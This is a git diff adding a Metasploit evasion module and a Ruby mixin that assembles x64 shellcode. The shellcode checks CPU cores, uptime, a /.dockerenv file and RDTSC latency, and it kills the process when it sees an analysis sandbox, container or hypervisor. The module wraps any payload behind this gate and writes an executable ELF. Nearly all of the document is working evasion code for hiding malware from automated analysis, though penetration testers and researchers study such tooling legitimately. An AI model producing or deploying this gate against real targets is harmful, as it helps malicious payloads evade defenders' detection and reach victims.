diff --git a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb new file mode 100644 index 0000000000000..f6bfcf05909d1 --- /dev/null +++ b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb @@ -0,0 +1,168 @@ +module Msf::Payload::Linux::X64::SandboxEvasion + def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false) + + rdtsc_asm = "" + if check_virt + rdtsc_asm = %Q^ +; ───────────────────────────────────────────────────────────── +; Check: Execution Latency via RDTSC +; ───────────────────────────────────────────────────────────── +check_rdtsc: + xor eax, eax + cpuid + rdtsc + shl rdx, 32 + or rax, rdx + mov r8, rax + + xor eax, eax + cpuid + + rdtsc + shl rdx, 32 + or rax, rdx + + sub rax, r8 + + xor ebx, ebx + mov bx, 0x3E8 + cmp rax, rbx + jge sandbox_detected ; EXIT IF CYCLES >= 1000 + ^ + end + + docker_asm = "" + if check_docker + docker_asm = %Q^ +; ───────────────────────────────────────────────────────────── +; Check: Container Detection via /.dockerenv existence +; ───────────────────────────────────────────────────────────── +check_docker: + xor eax, eax + push rax + mov rax, 0x766e6572656b636f + push rax + mov rax, 0x642e2f2f2f2f2f2f + push rax + + xor eax, eax + mov al, 21 + mov rdi, rsp + xor rsi, rsi + syscall + + test rax, rax + js clean_docker + jmp sandbox_detected ; EXIT IF DOCKERENV EXISTS + +clean_docker: + pop rax + pop rax + pop rax + ^ + end + + asm = %Q^ +_start: + ; Save callee-saved registers per x64 convention + push rbx + push rbp + push rdi + push rsi + push r12 + push r13 + push r14 + push r15 + + xor eax, eax + mov al, 128 + sub rsp, rax + +; ───────────────────────────────────────────────────────────── +; Check: CPU cores via sched_getaffinity +; ───────────────────────────────────────────────────────────── +check_cores: + xor eax, eax + mov al, 204 + xor rdi, rdi + xor rsi, rsi + mov sil, 128 + mov rdx, rsp + syscall + + test rax, rax + js check_uptime + + mov rbx, [rsp] + xor rcx, rcx +count_loop: + test rbx, rbx + jz evaluate_cores + mov rax, rbx + dec rax + and rbx, rax + inc rcx + jmp count_loop + +evaluate_cores: + cmp rcx, #{cores} + jl sandbox_detected + +; ───────────────────────────────────────────────────────────── +; Check: System Uptime via sysinfo +; ───────────────────────────────────────────────────────────── +check_uptime: + xor eax, eax + mov al, 99 + mov rdi, rsp + syscall + + test rax, rax + js execute_optional_checks + + mov rax, [rsp] + xor rbx, rbx + mov bx, #{uptime} + cmp rax, rbx + jle sandbox_detected + +execute_optional_checks: +#{rdtsc_asm} +#{docker_asm} + + jmp pass ; ALL CHECKS PASSED, JUMP TO PAYLOAD + +; ───────────────────────────────────────────────────────────── +; Sandbox Detected: Kill Process +; ───────────────────────────────────────────────────────────── +sandbox_detected: + xor eax, eax + mov al, 231 + xor edi, edi + syscall + +; ───────────────────────────────────────────────────────────── +; Clean Up & Execute +; ───────────────────────────────────────────────────────────── +pass: + xor eax, eax + mov al, 128 + add rsp, rax + xor rax, rax + xor rcx, rcx + xor rdx, rdx + xor r8, r8 + + ; Restore callee-saved registers (reverse order) + pop r15 + pop r14 + pop r13 + pop r12 + pop rsi + pop rdi + pop rbp + pop rbx +^ + Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string + end +end \ No newline at end of file diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb new file mode 100644 index 0000000000000..8ca6f5d3d00eb --- /dev/null +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + include Msf::Payload::Linux::X64::SandboxEvasion + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux x64 Sandbox Environment Gate', + 'Description' => %q{ + Generates a Linux x64 ELF whose entry point is a pre-execution + environment gate designed to detect and evade automated malware + analysis sandboxes, hypervisors and containerized environments. + }, + 'Author' => ['Massimo Bertocchi'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Targets' => [['Linux x64', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PayloadLinuxMinKernel' => '3.17' } + ) + ) + + register_options( + [ + OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']), + OptInt.new('CORES', [true, 'Minimum CPU cores required to pass check', 2]), + OptInt.new('UPTIME', [true, 'Minimum system uptime in seconds required to pass check', 600]), + OptBool.new('CHECK_DOCKER', [true, 'Enable /.dockerenv container detection check', true]), + OptBool.new('CHECK_VIRT', [true, 'Enable RDTSC hypervisor latency detection (WARNING: Will kill payload on Cloud VMs)', false]) + ] + ) + end + + def run + raw_payload = payload.encoded + if raw_payload.blank? + fail_with(Failure::BadConfig, 'Failed to generate payload') + end + + gate_stub = sandbox_evasion(datastore['CORES'], datastore['UPTIME'], datastore['CHECK_DOCKER'], datastore['CHECK_VIRT']) + if gate_stub.blank? + fail_with(Failure::BadConfig, 'Gate stub assembly failed') + end + + combined = gate_stub + raw_payload + final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined) + + File.binwrite(datastore['FILENAME'], final_elf) + File.chmod(0o755, datastore['FILENAME']) + end +end